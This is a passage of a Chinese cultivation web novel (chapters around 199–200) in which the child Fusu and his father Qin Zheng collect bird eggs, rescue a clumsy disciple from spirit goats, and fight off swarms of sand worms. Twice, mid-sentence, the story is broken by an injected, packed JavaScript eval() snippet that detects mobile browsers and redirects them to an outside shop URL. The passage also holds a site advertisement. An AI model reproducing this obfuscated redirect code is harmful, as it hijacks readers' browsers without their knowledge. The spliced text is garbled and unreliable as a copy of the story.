所有人都谴责他说话缺德,还不信他是跟他爹学的,就该让他们来听听他阿父私底下是个什么模样。 说话间小鸟已经下了几十枚蛋了。 蛋堆在一起很是壮观,而且影响继续下蛋。所以小鸟边下蛋边往前走,很快又留下了排成一列的蛋。 扶苏拈起一枚: “这些肯定是白蛋,没有受精的。” 虽说鸟类一次交-配之后会在体内储存精-细胞,等回头下蛋的时候慢慢下。但再怎么储存也不至于储存那么多,一窝十个蛋里有六七个受-精的就是顶天了。 何况这次下的还是催出来的,扶苏怀疑里头一个受-精-蛋都没有,全是白蛋。 秦政却道无所谓。 庶民养鸡下蛋,本来也不是为了孵小鸡的。大部分时候都是想下蛋,拿蛋和人换些秦半两或者粮食,吃的就是蛋本身。 只是不知道鸡吃了那个生发丹后,会不会和这只鸟一样疯狂下蛋,还是表现为别的状况。 小鸟到底是灵兽。 扶苏本着来都来了的原则,自己也付出了不少成本,不能什么都没收回来。于是把所有蛋都捡了起来,打算回头上交给宗门。 宗门里的食堂是收这些食材的,还有人觉得野鸡蛋比养殖鸡蛋味道更好。 同理,野鸟蛋说不定是一样的道理。 秦政:……你可真是一点亏都不肯吃。 收集羽毛的大业折戟沉沙,扶苏被迫放弃了这个天才的想法。 因为他爹跟他分析过了,认为修 真界的丹药能量应该不够。哪怕真能研究出长羽毛的药丸,也会由于药效不足,对玄鸟这样的神兽起不了太多效果。 扶苏不得不承认阿父说的是对的。 别说修真界了,就算去仙界拿药材炼制丹药,应该也会药效不够。 神兽界或许能有足够高等级的神花异草,然而扶苏连修真界的药材都没琢磨透,就别想着神界那些了。 扶苏想了想,和父亲强调: “阿父不能把我的计划透露给玄鸟大人。” 要是让玄鸟知道他为了让对方换羽,结果弄出的丹药是让母鸟下蛋的,玄鸟定会狠狠收拾他一顿。 秦政忍俊不禁: “现在知道亡羊补牢了?” 扶苏跟着小鸟一路走一路捡蛋,其间碰到了几只爱吃鸟蛋的妖兽闻着味追过来。他们把扶苏当成了竞争对手,扑上来就直接攻击。 起初扶苏还想故技重施,用功德对付这些妖兽。秦政制止了儿子,提醒他今天是来训练灵力的实战水平的。要是一直用功德,岂非白来一场。 扶苏用功德用得顺手,换成灵力就总有些手忙脚乱。打了几场下来才总算熟练了一些,可以在紧急情况下迅速判断应该用什么法术,并且迅速掐出法诀了。 有的时候就是临场容易想不起来,哪怕知道该用什么,也记不得怎么掐诀。扶苏心理素质上佳,克服起来倒是不太困难。 同场的其他弟子就不一样了。 扶苏忽然听见有弟子惊恐的惨叫,还以为是遇到什么危险了。眼看着小鸟终于下蛋下累了,扶苏收起最后一枚蛋,迈着小短腿就朝声音的来处跑去。 然后迎面撞见一个被灵羊追着用羊角顶屁股的倒霉少年。 分明十四五岁的年纪了,却异常跳脱。完全想不到应该爬上树躲避,或者寻找一个有利地形反击。 扶苏站在大石头上欣赏了好一会儿。 直到凄厉的惨叫吸引来了另一头灵羊,可怜小伙儿开始遭受两羊夹击,他才看够了好戏,出手相助。 少年人闭着眼睛横冲直撞: “啊啊啊!救命!” 跑了一会儿发现羊好像不顶他了,而且他一头撞上了大石头——是的,就是扶苏站的那个——幸好石头不够高,只是把他下 半身撞得够呛,上半身和脑袋还完好无损。 少年这才敢睁开眼睛,看看什么情况。 睁眼先看到一件熟悉的衣服,是宗门内的弟子服。不过做工和花纹格外精致,应该是亲传弟子的服制。 少年意识到自己撞到人了,顿时惶恐起来。撞到别人也就算了,偏偏被撞的还是个亲传弟子,他可惹不起。 少年唰地抬头看向苦主,嘴上道歉: “我不是故意……嗷! 扶苏:!!! 猛一抬头就撞上了扶苏伸出来掐诀的手,给小孩手肘上的麻筋撞到了。 现在的场景就是: 扶苏捂着肘关节麻得刺激出了生理性的眼泪,觉得整条手臂都不好了。 少年则捂着脑袋疼得龇牙咧嘴,无法理解为什么对方的手肘那么坚硬,撞一下和撞到金属似的脑袋嗡嗡作响。 少年的后方还瘫着两头被浇成落汤鸡后又被冻成冰坨坨的灵羊。 这一块儿的惨叫早就被反馈上去了。 宗门自己的秘境,自然有长老全程监督,以防万一。如果弟子遇到危险,会有长老第一时间赶来支援。 不远处有人听见这边的动静,但被惨叫声吓得不敢靠近。于是直接通知了长老,自己没过来。 长老还以为出来什么事呢。 赶过来一看,就这? 长老看了看那两头羊,又看了看这两个人。略一思索,感觉自己应该猜到了真相。 肯定是小孩遇到两头羊,打不过,吓得抱头鼠窜。少年路过拯救了孩子,但自己脑袋也受了伤,而小孩则是被羊伤了手肘。 长老走近来亲切询问扶苏: “小扶苏,是不是手受伤了?来,给长老看一看好不好? 扶苏抹着眼泪摇头: “没有受伤,呜,就是撞了一下。 这里有外人,害得他都没办法找阿父撒娇了。以前遇到这种事情,他都是趁机赖在阿父怀里,让阿父给他揉手臂的。 小玄鸟此刻正担忧地停在扶苏肩头,一眨不眨地关注儿子的手肘。见长老把袖子撸起来检查,观察得更仔细了一些。 好在,除了肘部因为碰撞有点发红外,没有别的问题。关节部位并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037608|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受损,只是单纯地把麻筋撞疼 了。 扶苏的小包子脸皱成一团。 他真的没办法做到表情管理,好在可爱崽就算脸皱起来也不丑,反而很有趣。 长老摸了摸他脑袋: “扶苏你要坚强一点,不哭了。” 顺便从扶苏这里知道了真相,得知是小孩伸出援手救了少年,不是她之前误以为的少年救孩子。 长老瞬间板起脸,训斥少年: “法术课都没听过是吧?要个四五岁的小孩来救你,你也好意思!还把人家手给撞了,真有你的!” 少年蔫蔫地听训,不断给扶苏道歉。扶苏也不好和个傻憨憨计较,只能有气无力地说了句没关系,跑去把自己的战利品灵羊收进储物袋里。 这次进入秘境前,宗门统一给大家发放了储物袋,用来装在秘境获取的战利品。无论是猎到的灵兽还是采摘的灵植,宗门都会一一兑换成贡献点记账。 这些材料里头,弟子也可以选择留下最多十分之一自用。 具体留哪些,宗门不做限制。 而且只按照数量计算,哪怕你留下的那十分之一都是珍贵物资,所占价值在总价里超过一半,宗门也不会多管。 所以大家收集东西都挺积极的。 炼气期的秘境里本身也没太多好东西,大部分人还是倾向于全部换成贡献值。攒够了贡献值可以换一柄不错的武器,又或者换个厉害的功法。 底层弟子的追求不高,内门弟子入门就有的东西,是他们需要努力攒钱才能换到的好资源。 但凡少年在和灵羊的战斗里发挥了一点作用,扶苏也就留一头给他了。可惜对方就是纯躺赢的,扶苏只能不客气地全部收走。 少年羡慕地看着小孩意气风发地离开。 他唉声叹气: “一头灵羊能换好多宗门贡献。” 长老恨铁不成钢: “那你就努力,方才遇到灵羊的时候,把握好机会,现在不就都是你的了?” 少年挠挠头: “我知道了长老,下次不会再这样狼狈逃窜了。” 扶苏找了个没人的地方坐下: “阿父,我手还麻着。” 秦政知道他是在撒娇,用满是绒毛的鸟崽身体贴了贴宝贝儿子的颈窝,权作安 慰。 扶苏更想阿父变成人形哄他。 但是想想宗内秘境可能多的是监控只开口交流还好毕竟是用的传音别人听不见。变成人形就不成了太容易暴露。 扶苏崽只能坚强地自己舔舐伤口。 他真是太倒霉了出手帮人还能被对方撞一下。而且那家伙之前明明是闭着眼睛乱跑的结果恰好跑到他跟前撞上他脚下的石头。 扶苏怀疑自己最近水逆。 正哀叹着后背被袭击了一下。 扶苏立刻扭头看过去是一只灵猴。 看品种应该是小金丝猴只有两个巴掌大点。还是个幼崽毛绒绒的。毛发确实像金丝一样又蓬松又漂亮哪怕在猴群里应该也是难得一见的美貌崽崽。 但是再可爱也没用它正拿果子砸扶苏呢。 见扶苏看过来它也不跑。又砸了一枚果子过来精准命中扶苏的脑门。 扶苏捂着头大怒。 这一定是挑衅! 扶苏手脚并用爬上树逮住了那只可恶的小猴崽子。 金丝猴幼崽干了坏事居然也没跑还乐呵呵地挂在了扶苏身上怎么扯都不肯下来。就和小猴崽往常朝猴妈妈身上挂是一样一样的要努力撕扯才能扯下来。 扶苏不理解: “你砸我还敢往我身上爬不怕我收拾你?” 小猴崽递了个果子过来: “吱吱!” 秦政看出了一点端倪: “它不是要砸你是想送你果子。” 但是扶苏比较倒霉所以扔过来的果子总能精准击中扶苏。 猴崽崽吱吱唧唧地叫。 扶苏听不懂兽语因为他没有一个麒麟身躯。龙躯顶多听懂海鲜的话鸟身则拥有鸟语专精。 海陆空里头 问题不大扶苏叫住了一只路过的飞鸟妖兽问它小猴子在说什么。 那鸟骂了一句脏话就飞走了。 它是鸟又不是猴它怎么知道猴子在说什么东西? 扶苏满脸不高兴: “早知道抓它下蛋了。” 态度这么差下蛋警告! 就算玄鸟不是凤凰也能勉强算个白鸟之王这群鸟怎么 那么不给面子。 最后,扶苏还是艰难的弄懂了猴崽子想表达的意思。它好像是和族群走散了,希望扶苏能把它送回家,果子就是谢礼。 扶苏反正闲着也是闲着,干脆答应下来。他也想把黏人的猴崽子送还给猴妈妈,免得一直跟着他不肯走。 去哪里不是去呢?就去猴林吧。 后世的猴子风评不好,因为风景区的短尾猴经常欺负游客。不过金丝猴在一众猴子里其实挺乖的,没有这类差评,甚至还因为对人警惕会显得意外的礼貌。 扶苏思考了一下: “我去猴林应该不会被猴子们欺负。 于是接下了这个委托。 此时的扶苏还没意识到自己一步踏错陷入了大坑中,因为他还没找到猴林呢,身上又多了一只松鼠崽。 扶苏:…… 聪明的小猴崽连叫带比划,告诉扶苏这个也是要找妈妈的。 扶苏:我不关心它想干什么,我就想知道为什么他也来找我帮忙。 在路上开心地吱吱乱叫的猴崽假装若无其事地看向其他方向,明显是闯了祸后开始心虚了。 是的,小松鼠是被它的叫声吸引来的。 金丝猴崽崽炫耀自己有个帮手能帮它回家,这样它就不用自己辛苦爬回去了。沿途其他想找爹娘的陆兽但凡能听懂猴语的,肯定会过来看一眼。 这个时候,扶苏的动物亲和天赋就发挥作用了。 它们不见得是自己找不到回去的路。 事实上这一个两个指路都贼溜,明显就是知道该怎么走。但是懒得自己走,有扶苏这个现成的代步工具,不搭乘的是傻子。 扶苏身上紧接着爬上了一只貂类幼崽、一只狼崽、一只熊猫崽……当虎崽也想爬上来的时候,遭到了扶苏的强硬拒绝。 他身上挂不下了! 他阿父都只能落在他脑袋上! 你们还怪懂和谐共处的,能不能尊重一下食物链? 可惜灵兽到底和寻常动物不一样,不仅拥有足够的灵智,也不怎么内斗。它们还不像妖兽似的,偏向凶残富有攻击性,而是更平和一些。 类似于修士中的正道修士和魔道修士的区别,所以修士一般选择击杀妖兽,而灵兽则作为契约的伙伴。 第 199 章 这才是顶级非酋 完整版大道天书里的内容更多,扶苏捞掉落捞累了就坐下来看看书里都记录了什么东西。 敢在名字里加上“大道”二字的,肯定不是什么凡品,毕竟大道比天道还高一个等级呢。 有个说法是「大道五十,天衍四九,唯余一线生机」,天道比之大道差一线,因为丢了那一线生机。 扶苏曾经拿这个无聊的问题去骚扰过天道,问它是不是真的。遁去的一线生机现在又在哪里,是不是经常给它找事。 天道冷笑一声,说: 【我看你俩挺像那一线生机的。】 扶苏就闭嘴了。 好吧,至今为止确实是他们父子俩给天道找事找得比较多。 不过没必要给他拔高度,他肯定不可能是一线生机。生机这东西约莫是无形无踪,浸入了万界的方方面面,并不是真实存在的一个实体。 ——虽然他和父亲在各位面到处救火,看上去挺像是那些位面的“生机”的。 扶苏嫌弃沙子被晒得滚烫,拿了冰丝斗篷出来垫在地上。本来这东西是明玥送给他炼丹的时候隔热用的,这会儿用来当野餐垫也非常合适。 扶苏受到了启发,说可以做这种隔热垫出去卖,销量应该不错。 秦政让他醒醒,修士用不上。 扶苏:可恶,修士的钱真难赚! 扶苏的很多思维还停留在凡人阶段,不像阿父全盘接受了明寒的记忆,知道很多修真界常识。 修士遇到这种滚烫的地面,要么就是不怕烫无所谓,要么就是直接用灵力隔绝地面温度。少有像扶苏这么讲究的,还要铺个垫子,不乐意直接坐地上。 扶苏还很不喜欢打坐的姿势。 盘腿真的很容易腿麻,哪怕他是经历过正坐洗礼的纯古人。要不是嫌弃正坐不舒服,他也不至于对高桌椅念念不忘。 人生在世,舒服才是最要紧的。 秦政盘膝坐在斗篷上,低头看着理直气壮趴在他腿上的儿子。 秦政点点他鼻头: “朕的腿是你的枕头吗?” 扶苏翻了个身露出肚皮,脑袋放在父亲的大腿上: “这样才是枕头。” 秦政于是快准稳地揉了一把他肉嘟嘟的小肚子,扶苏崽身上的奶膘 还没下去呢。尤其是换上鸟身的时候,明显比龙身时胖一圈,手臂上都是胖藕节。 还没抽条的小孩养得好是这样的。 秦政有些怀念: “你幼时还未断奶时,脸上奶膘比现在更多。” 吃奶的小宝贝很容易就长出鼓得非常突出的奶膘,乍一看很像动画片里的可爱小崽崽。没见过的未婚年轻人会以为那是艺术加工后的夸张,其实不是。 但是这样肥嘟嘟的奶膘断奶后就会迅速消失,之后脸上的肉肉就是实打实的肉肉了,不再是虚胖。 比如扶苏现在这样。 喝奶的崽崽哪怕小肚子天天鼓鼓的像啤酒肚,也只是一时的。吃饭的崽崽,才能长出实打实的小肥肉。 扶苏捂住肚子: “痒。” 顺便把奶膘的话题糊弄过去。 他拒绝谈论自己三百年前喝奶的过往,这和被揭黑历史有什么区别? 秦政从善如流地转移了话题: “好,阿父不说了。” 扶苏从阿父的储物戒里摸出大道天书,看了一眼觉得他爹戴戒指也挺好看的。 修真界的戒指多是古朴或者素雅的,明寒喜欢素雅类戒指。细细银丝扭出了玄妙的弧度,戴在手上显得十分修长。 作为实力强横的渡劫期大能,秦政是没有财不露白这个困扰的。无论他露不露,别人都心知肚明他家底颇丰。 不像扶苏,需要把储物镯藏起来。不然就是手无缚鸡之力的小孩拿着大笔财产,静等着被人当肥羊。 大家一看他身上挂了一堆法器,没戴储物镯储物戒,就腰间系了个普普通通的小储物袋。便会误以为家中长辈怕孩子拿着太多值钱东西招人觊觎,才只用普通袋子装了点小玩具小零嘴。 扶苏的小袋子里确实是玩具和零嘴来着。 他从袋子里摸了两颗糖和阿父分了,然后把天书放在肚子上,搭着曲起的双腿,就这么翻看。 翻了一会儿觉得看着不得劲,干脆举起来看。就是这样一来翻书有点费劲,不过问题不大,翻的时候再放下就是。 扶苏翻到了一夜将炼丹的,详细解说炸炉的几种情况。 渐渐看入了迷,直到听见父亲说: “小心点,玉书沉重, 滑下来砸到脸上肯定要破相。” 扶苏被惊了一瞬手上力气一松。 即将砸到小脸蛋的时候被秦政稳稳接住显然早有准备。 扶苏扭过脑袋控诉地看向头顶的人: “阿父!” 这绝对是故意的突然吓他一下他的书就必然会砸落。然后阿父便能理直气壮地说看吧朕都说了叫你小心了。 秦政脸上看不出一丝心虚。 他帮儿子把书拿开将小孩抱起来放到怀里 而后说道: “你接着看阿父帮你扶着点。” 扶苏顿时忘了刚才的戏弄乖乖窝在父亲宽阔的胸膛中美滋滋地接着看了起来。 他喜欢被阿父笼罩庇护着的感觉。 秦政给他理了理蹭乱的头发心道果然是一如既往的好哄。 扶苏看完这一篇和父亲分享: “我又有新思路了等回去了我就试试上头说的防止炸炉的新方法。” 秦政面不改色地答应下来: “好朕给你多准备几个丹炉。” 扶苏乍一听还没发现不对劲。 仔细琢磨了一下…… 扶苏强调道: “我不可能把丹炉炸坏的天书教的新方法很靠谱!” 秦政颔首: “阿父信你。” 看来完全不像是相信的样子。 扶苏哼了一声决定回头用实际行动证明自己的能力。 等午后最热的时间畏热的小崽崽重新充满了活力。他决定继续探索剩下的区域看看能不能找到新的有趣妖兽。 挖沙坑这样重复性的无趣劳动他已经腻味了遇到沙坑秦政直接从储物戒里拿出原主以前炼制的傀儡身。解决掉沙坑内的妖兽之后叫傀儡身潜入沙底捞东西。 扶苏围观了一会儿发现这个效率比他转移沙子要高得多。不过这么一来就不能解决掉流沙地了算是有得有失。 但扶苏还是尽量吸收了一些流沙中的水分吸收不了的就分离出来丢进空置的储物袋中。反正不能原地丢在沙地里那样会形成新的流沙坑。 扶苏问父亲: “既然傀儡身这么 好用,我之前挖沙子的时候阿父怎么不拦着? 眼睁睁看着他辛辛苦苦忙活大半天,阿父就没有一点不忍心嘛! 秦政含笑说: “看你忙忙碌碌的,很是可爱。 像只小胖熊蜂,笨拙但勤劳。他已经悄悄录下视频了,分享到了地府光屏的朋友圈中。 目前积攒了几十个赞,大多都是先王们点的。秦君人均十级冲浪选手,点赞速度一流,不错过任何朋友圈新资讯。 不爱刷朋友圈的扶苏对此一无所知。 扶苏说服自己,之前就当彩衣娱亲了。阿父爱看,他忙一次也没什么的。 遂将此事略过。 直到他晚间入夜和阿父找了个沙丘避风处休息,手滑点进了朋友圈,看到了那段视频。 扶苏:…… 更糟糕的是往下翻历史记录,就能发现他爹不仅发了这个,还发了一大堆各式各样的视频记录。 有上个位面变成小龙在海底费劲打捞沉船中白银的,有上上上个位面变成鸟崽撒娇打滚的,还有…… 总之,很多他记得或者不记得的过往都被记录了下来,全部上传到了朋友圈。在他不知道的情况下,先祖们已经人手一份保存下了他的高清卖萌视频。 不仅是先祖,毕竟秦政的好友列表里还有大量的臣子、其他位面的始皇帝等。 虽然除了始皇帝们也公然点赞了之外,其他臣子都明智地保持了缄默。不点赞不回复不发声,假装没看见,但扶苏猜也能猜到他们肯定看见了。 扶苏:孤的一世英名! 扶苏把脑袋埋在父亲怀里: “阿父发这个为什么不设置仅先王可见? 先祖看到也就算了,反正是他的长辈。给臣子看见算怎么回事啊?他还想维持住霸气侧漏的形象呢。 秦政解开儿子头顶的小发髻,安抚地给他轻轻顺毛。 嘴上哄了两句: “朕忘了,下次肯定屏蔽他们。 其实就是故意的,炫耀儿子当然是要当着全世界的面炫耀。如果屏蔽了某些人,炫耀时的快乐就会少一大半。 扶苏则是终于知道为什么他那么受各界父亲的欢迎了。 天天在朋友圈刷到可爱小甜崽,看久了谁不心动? 尤其是和自家倔脾气逆子对比以后越看越觉得别人家的讨喜。 果然孩子还是别家的乖。 扶苏打眼一扫就看见好几个父亲留言问他阿父什么时候带梓桑去他们那边做客准备好了礼物要送给云养的儿子。 秦政非常高冷的一个都没回复。 他只是想炫耀并不想让人来跟他抢儿子。 甚至还有其他位面的扶苏在问说梓桑阿弟什么时候来带他去看小鱼。 秦扶苏:? 不是他什么时候成了所有扶苏的阿弟了?他就认了一个阿兄然后就要成为所有人的阿弟了吗? 秦政却说这都是小太子自找的: “谁叫你动不动就变小了撒娇卖乖他们看多了你的幼年形态没把你当儿子就不错了。” 扶苏崽:。 扶苏生气地伸手刨了刨手边的沙子借此泄愤。结果刨出来了一只肉粉色的沙虫在沙面上弯曲扭动。 扶苏吓了一跳: “什么东西?!” 秦政迅速捉住儿子的小手检查有没有被咬到。 修真界的这种沙虫长得很像寻常世界海边沙滩里那种好吃的沙虫却不像凡界的那么人畜无害反而自带了个充满利齿的口器。 这种沙虫只有空气湿度高、经常下雨的瀚海之沙这一代有旁的沙漠里提到的沙虫都是黑黢黢带甲壳的虫子。 扶苏柔弱地往父亲怀里缩了缩: “为什么还有虫子?” 平时他不怕虫子但是冷不丁挖出来一个还是有点挑战他的神经了。任谁把手伸到沙层里玩沙子的时候突然抓到一只软烂烂会动的东西都会觉得生理不适。 秦政眉头微蹙: “方才还没有的。” 这个位置虽然是扶苏挑选的但确定驻扎在此地之前秦政也用神识扫过附近的沙层确定这一片没什么生物。 还是太大意了没想到会有虫子悄无声息地靠近过来。他们拿了阵盘出来布了个防护阵便觉得万无一失 下次得换个全方位防护的阵盘。 秦政再次用神识扫过眼眸一凝。顾不得多说什么。一手抱着儿子一手抓起地上铺着的冰丝斗篷和天书塞进储物戒 中,直接跃起到半空。 扶苏很快反应过来,低头往下看: “啊?!” 在他们离地的瞬间,下方沙层开始像沸腾一般的翻涌了起来。无数沙虫不知是受到了刺激还是得到了同伴的通知,纷纷涌到了表面。 最初还只是沙子翻腾,随着越来越多的沙虫成功突破沙层,沸腾翻滚的就成了沙虫自己。甚至不断有沙虫被底下新爬出来的虫子顶起,乃至顶飞,小小地跃上来了些。 幸好只被挑飞了十厘米左右,还够不到父子俩。 扶苏看得头皮发麻。 他觉得自己并不存在的密集恐惧症要犯了,以前看群蛇缠绕、还有之前在秘境外头看到群虫聚集时,他都没觉得这么恶心。 大约还是肉粉的颜色搭配肥肥而粗短的形状,才引起了生理不适吧。 秦政如今是炼气期,无法长久滞空。在空中堪堪停了几秒钟,就有下落的趋势。 这么落下去,就要被沙虫包围了。 他很快丢出一枚下品灵石,踩着灵石借力,再次提气往上跳了一段,同时也往前窜了一些。 接着是第二枚、第三枚…… 这些下品灵石对大能来说不值钱,秦政用一枚上品灵石就换了万枚下品的。 因为这次和儿子出来历练会途经一些修士城池,在修城里买寻常小玩意多是用的下品灵石,他才特意兑换了些。 不然往常明寒都是用上品灵石的。 扶苏看了一会儿反应过来: “我这里有铜钱啊!” 一枚下品灵石能换不少金银呢,丢那个多浪费?精打细算的小管家立刻塞给阿父一把铜钱,让父亲用这个。 秦政从善如流地换成了铜钱。 灵石落入虫堆里很快就被啃食殆尽,这些沙虫一点都不挑食的,连石头带里面的灵力一起给啃了。 不像修士,使用灵石只吸收其中的灵力。吸收完就把剩下的石头便宜卖给收废品的中间商了,说是这种材质可以拿去制作成别的东西,炼器宗会要。 ——小道消息怀疑炼器宗会往里头重新灌输灵力,然后拿出去花用,比直接收购灵石划算很多。 可惜这样的操作手法懂的人非常少,其他人想分一杯羹,但苦于不知道怎么 才能往里灌输灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037609|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,只得作罢。 沙虫们啃了灵石后,就和吃了十全大补丸一样,迅速胀大了一圈,变得更加活泼和激进起来,更不肯放过两只肥羊。 奈何秦政的储物戒里只有这东西是富含灵气最少的,不然之前也不会丢灵石当垫脚石,凭白喂肥了敌军。 这会儿换成了铜钱,沙虫牙口再好也没法啃了。而且铜钱之中不含灵力,啃了也是白啃。 秦政一连丢出去几十枚铜钱,往外纵跃了数百米。但是沙虫依旧不肯放弃,仍然紧追不舍,从那头追到了这头。 秦政面不改色地继续。 扶苏之前从钱庄“换来的铜钱还有很多,用完了还能接着丢碎银子,慢慢耗下去也不怕。 秦政也不担心灵力耗尽会跑不动,相比之下那些沙虫才更容易疲累。它们追击时还会互相踩踏挤压,体力消耗绝对比父子俩更大。 扶苏忍着不适认真观察了片刻。 他很快提醒父亲: “有新的沙虫追过来了,这些虫子白天没见过,可能夜晚才是它们的活动时间。 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 或者狩猎时间。 沙虫白日许是一直躲在沙层最下面安静休眠,而且躲避的深度比流沙深度还可观。不然之前扶苏挖沙的时候,不可能一只都没挖出来。 他和父亲在天色刚黑时就停下休息了,那时沙虫刚刚苏醒,还没来得及爬出来,于是躲过了神识的探查。 偏偏沙漠中一直有风声和远处下雨的噼啪声,附近还老有因为沙中妖兽乱窜导致周边沙粒坍塌。各种杂七杂八的声音交织,沙虫在沙层里活动的那点微弱动静便一点都不起眼起来。 秦政很快停下朝前飞掠的步伐。 既然不断有新的沙虫加入,那么想靠消耗战把沙虫全部耗死就不切实际了。只能换一种方法对付这些虫子,给自己弄出个安全区域。 扶苏试图捏个火焰出来。 小火苗才冒了个头,就噗地熄灭了。夜晚空气湿度加大,火系术法比白天还要难施展。 关键在于扶苏是个水系修士,他体内没有足够的火系灵力给火焰提供支援。扶苏点火只能靠引起周围的火灵力共鸣,然而附近的火灵力被压制得太狠了。 扶苏皱起小眉头: “白天的 时候虽然水汽浓郁但火元素还是很活跃的。” 所以那会儿点火并不难如今想来应该是烈日炙烤的缘故。这里降水多可阳光也足够猛烈水火达成了微妙的平衡。 到了夜晚日光隐退月光清冷柔和就没办法给火系提供支援了。水系占据了无可匹敌的上峰将火系灵力打压得毫无反抗之力。 秦政取出一枚火系上品灵石。 灵石到了上品之后便开始有属性之分了。虽然无属性灵石依然占据绝大多数好在携带属性的灵石也不算少见就是价格比普通灵石贵些。 秦政示意儿子用它点火。 扶苏摇了摇头: “沙虫肯定有其他的解决办法。” 这只是个筑基期的秘境要是在这里对付一群筑基初期的妖兽还要用到高阶修士才用得起的灵石有点大材小用了还特别浪费。 秦政提醒儿子: “筑基期对付沙虫确实不难他们可以御剑一直停留在半空。” 哪怕御剑消耗的灵力多 扶苏不信邪: “我肯定能想到办法。” 秦政也由着他干脆在一小片区域里绕圈圈将附近的沙虫都吸引在一起。任凭沙虫们互相堆叠挤压将高度节节堆高也丝毫不惧。 反正他只要往高处丢铜币就能再次提升自己的越起的高度。沙虫堆高的效率远不如他没什么好担心的。 扶苏飞快思索对策。 秦政其实已经有数种想法了。 他总是比儿子更加冷静沉着的紧急状态下思绪也不怎么受影响不会有一着急就想不到办法的情况。 况且他拥有明寒的记忆应对各种修真界突发险情的经验非常充足也比扶苏更有先天优势。 不过秦政什么都没说。 他还记得自己是来历练儿子的遇险后如何脱险本就是历练中的一项重要内容。 扶苏很快想到了: “我试试调节水灵力的温度。” 修士总是更习惯于将水灵力向下调整成冰灵力然后利用冰锥的硬度对敌。偶尔才会借用它的寒冷 ,但那也是想靠冰寒叫敌人身体僵硬、动作缓慢。 会特意把水温上调到沸腾的不多,可能是因为水系修士更能适应低温而非高温,水蒸气很容易在伤敌之前先把自己烫出个好歹来。 水系修士并不乐意自讨苦吃,他们可不像火系修士那么耐热。 扶苏以前试过开水烫人,然后用事实证明了确实不太顺手。必须在体外凝结水球后再进行加热,不然在体内加热水灵力会把自己烫伤。 冰灵力就好些,经脉可以短暂承受低温灵力的冲击。等到灵力从指尖析出时,只要再降低一点点温度就可以直接凝结成冰了。 扶苏今晚再度尝试,发现顺手了很多。 大约是附近的水灵力实在太过充沛,扶苏根本就不用调动自己体内的灵力。他手一抓就收集了一团水,然后直接进行加热,效率高上了不少。 但也只有他能这么做。 扶苏徒手抓水靠的是神识,寻常的低阶修士根本没有神识,无法聚拢外界的无主灵力。 难怪唯有大能才能调动外界灵力作战。 扶苏把沸腾翻滚的水球丢到脚下,很快烫得一群不会叫的沙虫开始疯狂扭曲躲避。却被烫得表皮失去活性,难以动弹。 冰冷物体接触热水的过程悄无声息,不像滚烫的器物放入冷水中淬炼那样会发出刺啦一声,蒸腾出大量水蒸气。 可正是这种静默才显得格外可怕。 不会叫的生物遇到开水后只能安静等死,连挣扎都显得很无力。 扶苏很快嫌弃一团团地往下丢水球效率太低,附近这么多现成的水汽,漂浮在空气中肉眼不可见,和水蒸气的区别只是温度不同而已。 那么,不如来个集体加热。 扶苏通过神识锁定了下方一整片包裹了沙虫的空气,开始不断调整其中水灵力的实时温度。 沙漠中昼夜温差极大,怕热怕到只能夜里出没的沙虫自然是不耐高温的。水汽还没加热到一百度,下头已经有很多沙虫受不了开始往沙子底下钻了。 扶苏很快发现底部恰好是流沙,而非寻常沙层。 如果是寻常沙层,那么即便里头也藏有大量水汽,由于互相并不黏连,扶苏要调动起来也会比较困难。 流沙就不一样了,流沙 第 200 章 火山 秦政父子二人并不需要和暮天的拥趸一样,特意掩盖血沙深处的秘密。所以他们可以堂而皇之地等待雨水蒸干,然后去挖藏在底下的洞穴。 扶苏其实不太理解: “他为什么非要等下雨再出来?” 掩盖踪迹的办法不少,哪怕担心自己在沙坑上做出来的痕迹不够自然,略等一段时间,来一场大雨,也就无影无踪了。 左右这一片区域经常下雨。 他这么鬼鬼祟祟在积水里折腾半天,反而显得特别不对劲。 正常情况下,你看到有个人从沙子里爬出来,会觉得他在沙子里藏了秘密吗? 不,你只会觉得他倒霉遇到了沙坑掉进去了。或者被沙尘暴刮来的沙子淹没了,费劲自救成功。 退一万步说,就算怀疑,这沙漠一眼望去没有遮挡。筑基期秘境也没有能施展大范围神识的厉害人物,别人能发现他,他自然也能发现人家。 直接把见到自己的人灭口就行了,快速果断效率高,成功率一般也不会太低。 若有心算无心如果还能失败,那也真是够废的。暮天找这种下属实属对自己的事业不够上心,还是别肖想飞升了,洗洗睡吧。 扶苏思来想去,认为: “那修士可能是过于谨慎了,但是没有谨慎到点子上。” 绞尽脑汁想出了一个从秘密洞府里出来时绝对不会被人反追踪到洞府位置的方法,乍一看很厉害,仔细推敲,其实都是瞎费功夫,还不如不用功。 秦政点评: “所以他是暮天的下属。” 不仔细琢磨甚至都听不懂始皇帝陛下在内涵什么。 扶苏乐了: “确实,暮天也是这种,费了半天劲,发现自己用了最笨的办法解题。不仅白白浪费了那么多时间精力,最后还解不出来。” 这就是什么样的首领带出来的便是什么样的下属吧。 扶苏其实还挺好奇的。 这家伙出入此地应该许多回了,难道次次都没被人撞见过吗? 进入之前还能特意观察有无人员在附近,出来的时候却难以控制。倘若哪一次从水里钻出来遇到了修士,他要怎么解释自己穿着特制的法袍从水里冒头? 即便因为他转移了出水 